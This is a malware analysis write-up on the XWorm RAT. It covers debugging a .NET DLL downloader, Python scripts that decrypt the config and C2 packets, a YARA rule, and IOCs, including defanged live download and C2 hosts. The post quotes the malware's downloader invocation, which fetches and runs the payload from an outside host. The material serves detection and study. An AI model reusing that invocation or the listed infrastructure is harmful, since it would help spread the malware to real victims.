XWorm Part 2 - From Downloader to Config Extraction
Dissecting a .NET DLL Downloader and Extracting XWorm's Configuration.
Overview
In Part 2 of this XWorm malware analysis series, we analyze a .NET DLL downloader responsible for delivering XWorm. This stage of the analysis focuses on using debugging techniques to extract the final payload, followed by performing decryption of XWorm’s configuration.
Technical Analysis
DLL Downloader
Dropping our extracted PE from Part 1 into Detect It Easy reveals a 32-bit .NET DLL.
figure 1 - Detect it Easy .NET DLL downloader output
Using dnSpy to decompile the DLL, we can navigate to the method invoked by the PowerShell script from Part 1, which is the VAI()
method located inside of the Home
class in the ClassLibrary1
namespace.
figure 2 - decompiled VAI() method from DLL downloader
The downloader accepts builder arguments from the previously observed PowerShell script to control how the final payload is delivered. Our sample passes an encrypted URL string, a path, filename, filetype and a few other values as seen in the below snippet.
1
2
3
$builder_args = @('0hHduIzYzIDN4MDMxcTY4MjY2gDM2QGN3gDO1MzNiJDM1ETZf9mdpVXcyF2L92Yuc2bsJ2b0NXZ29GbuQnchR3cs92bwRWYlR2LvoDc0RHa', '1', 'C:\Users\Public\Downloads', 'agnosticism', 'jsc', '', '', '', '', '', '', 'js', '', '', '', '2', '');
$loaded_assembly.GetType("ClassLibrary1.Home").GetMethod("VAI").Invoke($null, $builder_args);
To make static analysis easier, we can can run the sample through de4dot, a popular .NET deobfuscation tool.
1
.\de4dot.exe .\assembly.mal
After loading output file extracted_assembly-cleaned.mal
into dnSpy, we can see symbols have been renamed to be human-readable, previously being Unicode escaped like \uE777
.
figure 3 - cleaned output from de4dot showing deobfuscated symbols
Strings are resolved during runtime using method Class237.smethod_0()
, which takes an integer ordinal and returns a decrypted string.
figure 4 - string resolver function using hashtable lookup
Constant unfolding methods are also used to resolve double and float values during runtime as seen in figure 5 and 6.
figure 5 - runtime double calculation method
figure 6 - runtime integer calculation method
We can replace all calls to these methods with their return value using a publicly available .NET string decryption tool written by n1ght-w0lf1. This will make static analysis easier, allowing us to view resolved strings and constants within dnSpy. After defining the target method signatures within the decryption script, we can run python3 dotnet_string_decryptor.py C:\path\to\assembly
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class StringDecryptor:
DECRYPTION_METHOD_SIGNATURES = [
{ // string resolver signature
"Parameters": ["System.Int32"],
"ReturnType": "System.String"
},
{ // double resolver signature
"Parameters": ["System.Int32"],
"ReturnType": "System.Double"
},
{ // int resolver signature
"Parameters": ["System.Int32"],
"ReturnType": "System.Int32"
},
]
Loading the output assembly into dnSpy and translating some of the Portuguese parameter names, we can begin to make sense of the main function. The first 54 lines perform various anti-vm checks, which we will want to skip past once debugging.
figure 7 - anti-vm checks in deobfuscated main function
Of interest are the last few lines that are executed after builder arguments are parsed. This is where the final payload is downloaded and decrypted before passing to x32.Run
or x64.Load
for execution depending on the final payload’s architecture.
figure 8 - payload download and execution logic based on architecture
Extracting XWorm
Using a dynamic approach, we can debug this DLL using dnSpy to extract the downloaded payload, where we use PowerShell as our debugger host process. By loading the assembly into our PowerShell process, we can invoke methods from the downloader directly within the command line. This is a debugging trick I learned through a video by MalwareAnalysisForHedgehogs2 that I found in the OALabs malware reverse engineering Discord channel3.
Running the following will load the assembly into our PowerShell process.
1
[Reflection.Assembly]::LoadFile("C:\path\to\assembly");
We can then attach dnSpy’s debugger to our PowerShell process via Debug → Attach to Process.
Exceptions were thrown when attempting to debug the deobfuscated DLL, though it was still helpful to reference during debugging of the original sample.
Then, we can set breakpoints on the first line of VAI()
to avoid executing anti-analysis checks, as well as the start of the download logic.
figure 9 - breakpoint at start of VAI() before anti-vm logic
figure 10 - breakpoint set on payload download logic
Navigating back to the PowerShell window, the below can be run to invoke the downloader using arguments from the previous script.
1
[ClassLibrary1.Home]::VAI('0hHduIzYzIDN4MDMxcTY4MjY2gDM2QGN3gDO1MzNiJDM1ETZf9mdpVXcyF2Lt92Yuc2bsJ2b0NXZ29GbuQnchR3cs92bwRWYlR2LvoDc0RHa', '1', 'C:\Users\Public\Downloads', 'agnosticism', 'jsc', '', '', '', '', '', '', 'js', '', '', '', '2', '');
Once we hit our initial breakpoint, we can right-click the line where download logic begins and click “Set Next Statement” to skip past argument parsing and anti-vm checks.
After stepping through the code, we see a URL string is crafted using the first parameter passed to VAI()
.
figure 11 - reconstructed URL from first VAI() parameter
An HTTP GET request is then made to the crafted URL to download a hex encoded blob which is then reversed, revealing the magic bytes of a PE file 4D 5A
.
figure 12 - hex payload showing MZ header
Opening the decoded PE file into Detect It Easy reveals a 32-bit .NET assembly.
figure 13 - Detect it Easy output for XWorm
Decompiling the assembly in dnSpy confirms we now have the final XWorm payload.
figure 14 - dnSpy shows XWorm identity
XWorm
Configuration Extraction
The entrypoint function [Stub.Main]::Main()
performs a sleep operation before decrypting the configuration stored in the [Settings]
class.
figure 15 - XWorm configuration structure in memory
Values are decrypted using AES in ECB mode with a 256 bit key, where the key is derived from the MD5 hash of the mutex config value.
figure 16 - AES decryption routine for configuration
The sample’s configuration values can be decrypted with the below Python script, revealing the configuration seen in figure 17.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from Crypto.Cipher import AES
import hashlib
import base64
# dictionary of encrypted config values
settings = {
"Hosts" : "hjpLEVZlk59e0F/4oPBKM+ynOibAJGsakXT1qyefhjg=",
"Port" : "bT9Sep3Oxd5SvGi21oa2dg==",
"KEY" : "GlFkVHYzjULH0jPfIt0NTQ==",
"SPL" : "roSvIOX9LqqCx4ZfsEegyg==",
"Groub" : "/xlaUqfu8vOhWKfkJ57YLA==",
"USBNM" : "FwKiqfBGA/KFY56eS1wZrQ==",
"Mutex" : "NOQFTA4Uaa0s9lW4"
}
# generate key using mutex value
def get_key_from_mutex(mutex):
mutex_md5 = hashlib.md5(mutex.encode())
mutex_md5 = mutex_md5.hexdigest()
key = bytearray(32)
key[:16] = bytes.fromhex(mutex_md5)
key[15:31] = bytes.fromhex(mutex_md5)
key[31] = 0x00
return key
# decrypt setting with key using AES in ECB mode
def decrypt_setting(key, encrypted_setting):
decoded_setting = base64.b64decode(encrypted_setting)
cipher = AES.new(key, AES.MODE_ECB)
decrypted_setting = cipher.decrypt(decoded_setting)
return decrypted_setting.decode('utf-8').strip()
def main():
key = get_key_from_mutex(settings["Mutex"])
print(f'Hosts: {decrypt_setting(key, settings["Hosts"])}')
print(f'Port: {decrypt_setting(key, settings["Port"])}')
print(f'KEY: {decrypt_setting(key, settings["KEY"])}')
print(f'SPL: {decrypt_setting(key, settings["SPL"])}')
print(f'Groub: {decrypt_setting(key, settings["Groub"])}')
print(f'USBNM: {decrypt_setting(key, settings["USBNM"])}')
print(f'Mutex: {settings["Mutex"]}')
if __name__=="__main__":
main()
figure 17 - decrypted configuration
Packet Decryption
XWorm communicates with its C2 server through AES GCM encrypted messages over TCP. The protcol begins with an integer prefix defining the message length, followed by a null-byte where the encrypted message follows. A simple visualization of the packet structure is shown below.
1
2
3
4
5
6
7
8
9
10
Packet Structure (Length Prefix + Null Delimiter + AES Encrypted Payload)
[0] [1] [2] [3] [4] [5] [6] ...
+--------+--------+--------+--------+--------+--------+--------+
| '3' | '2' | \x00 | ? | ? | ? | ? |
+--------+--------+--------+--------+--------+--------+--------+
| Length | Length | Delim | AES Encrypted Message |
+--------+--------+--------+--------+--------+--------+--------+
...
Messages are encrypted using dedicated method [Stub.Helper]::AES_Encryptor()
which uses AES in ECB mode with a 256-bit key. The key is the MD5 hash of the decrypted KEY
config setting, converted from hex. An image of this method is shown below.
figure 18 - packet encryption method
The below Python script can be used to decrypt an XWorm packet as seen in figure 19.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from Crypto.Util.Padding import unpad
from Crypto.Cipher import AES
import hashlib
import base64
# hex encoded c2 packet
encrypted_packet = '3238380049d8de8dda622fe99fb29522a6ed7e513ec0d73f2e48a1717353eae6666c920dc909f579ab6723d4e38dfc30ed4cf5f5c3ec69abf4662a5311139742c01e1f64e0ee0d7af70ba2746b9f2967a1bc481d9c089681b5422db143c7fd35b7caad98b6c14974bf1d97cb6ad1eb50125c18f728c03469493a902d1318038cc9849b04d70b5c47fe8c1ac5afdc1b83fb6b81d3fdde8cb05a2ce87a7b8406e9c71213738ada85326b3f51cea837fcb2458cbf9087b679e4142e1192ab778e799d42a02c844baaa4c342353a135bd80cd9edafdf202d034ad583d9aab6bf31de87a8a6de8e4c3f52660aa5e2accd6d0a79b1e46380c7622dd58741ed416e7739b307301ae3d934ee087b14b2f7fc94bb8f988af49d7a84714192edf5b0f65ead118c5536'
# dictionary of encrypted config values
settings = {
"Hosts" : "hjpLEVZlk59e0F/4oPBKM+ynOibAJGsakXT1qyefhjg=",
"Port" : "bT9Sep3Oxd5SvGi21oa2dg==",
"KEY" : "GlFkVHYzjULH0jPfIt0NTQ==",
"SPL" : "roSvIOX9LqqCx4ZfsEegyg==",
"Groub" : "/xlaUqfu8vOhWKfkJ57YLA==",
"USBNM" : "FwKiqfBGA/KFY56eS1wZrQ==",
"Mutex" : "NOQFTA4Uaa0s9lW4"
}
# generate config AES key using `Mutex` from config
def get_config_key(mutex_setting):
mutex_md5 = hashlib.md5(mutex_setting.encode())
mutex_md5 = mutex_md5.hexdigest()
key = bytearray(32)
key[:16] = bytes.fromhex(mutex_md5)
key[15:31] = bytes.fromhex(mutex_md5)
key[31] = 0x00
return key
# generate c2 AES key using `KEY` from config
def get_c2_key(key_setting):
key = get_config_key(settings["Mutex"])
config_key = decrypt_setting(key, settings["KEY"])
c2_key = bytes.fromhex(hashlib.md5(config_key).hexdigest())
return c2_key
# decrypt setting with key using AES in ECB mode
def decrypt_setting(key, encrypted_setting):
decoded_setting = base64.b64decode(encrypted_setting)
cipher = AES.new(key, AES.MODE_ECB)
decrypted_setting = unpad(cipher.decrypt(decoded_setting), AES.block_size)
return decrypted_setting
# decrypt hex encoded c2 traffic
def decrypt_packet(c2_key, encrypted_packet):
packet_bytes = bytes.fromhex(encrypted_packet.split("00", 1)[1]) # remove packet length header
cipher = AES.new(c2_key, AES.MODE_ECB)
decrypted_packet = unpad(cipher.decrypt(packet_bytes), AES.block_size)
return decrypted_packet.decode("utf-8")
def main():
c2_key = get_c2_key(settings["KEY"])
print(f"\nDecrypted Packet:\n\n{decrypt_packet(c2_key, encrypted_packet)}")
if __name__=="__main__":
main()
figure 19 - decrypted C2 check-in packet
YARA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
rule XWormRAT {
meta:
author = "Jared G."
description = "Detects unpacked XWorm RAT"
date = "2025-07-06"
sha256 = "6cae1f2c96d112062e571dc8b6152d742ba9358992114703c14b5fc37835f896"
reference = "https://malwaretrace.net/posts/xworm-part-2"
strings:
$s1 = "-ExecutionPolicy Bypass -File" ascii wide
$s2 = "sendPlugin" ascii wide
$s3 = "savePlugin" ascii wide
$s4 = "RemovePlugins" ascii wide
$s5 = "Plugins Removed!" ascii wide
$s6 = "Keylogger Not Enabled" ascii wide
$s7 = "RunShell" ascii wide
$s8 = "StartDDos" ascii wide
$s9 = "StopDDos" ascii wide
$s10 = "Win32_Processor.deviceid=\"CPU0\"" ascii wide
$s11 = "SELECT * FROM Win32_VideoController" ascii wide
$s12 = "Select * from AntivirusProduct" ascii wide
$s13 = "set_ReceiveBufferSize" ascii wide
$s14 = "set_SendBufferSize" ascii wide
$s15 = "ClientSocket" ascii wide
$s16 = "USBNM" ascii wide
$s17 = "AES_Encryptor" ascii wide
$s18 = "AES_Decryptor" ascii wide
condition:
12 of them
}
IOCs
All hashes from the below IOC table will be available for download on MalShare.
Label | IOC |
---|---|
XWorm Download URL | hxxp[://]deadpoolstart[.]lovestoblog[.]com/arquivo_e1502b7358874d6086b38a71038423c2[.]txt |
XWorm C2 | deadpoolstart2064[.]duckdns[.]org:7021 |
DLL Downloader SHA-256 Hash | c2bce00f20b3ac515f3ed3fd0352d203ba192779d6b84dbc215c3eec3a3ff19c |
XWorm SHA-256 Hash | 6cae1f2c96d112062e571dc8b6152d742ba9358992114703c14b5fc37835f896 |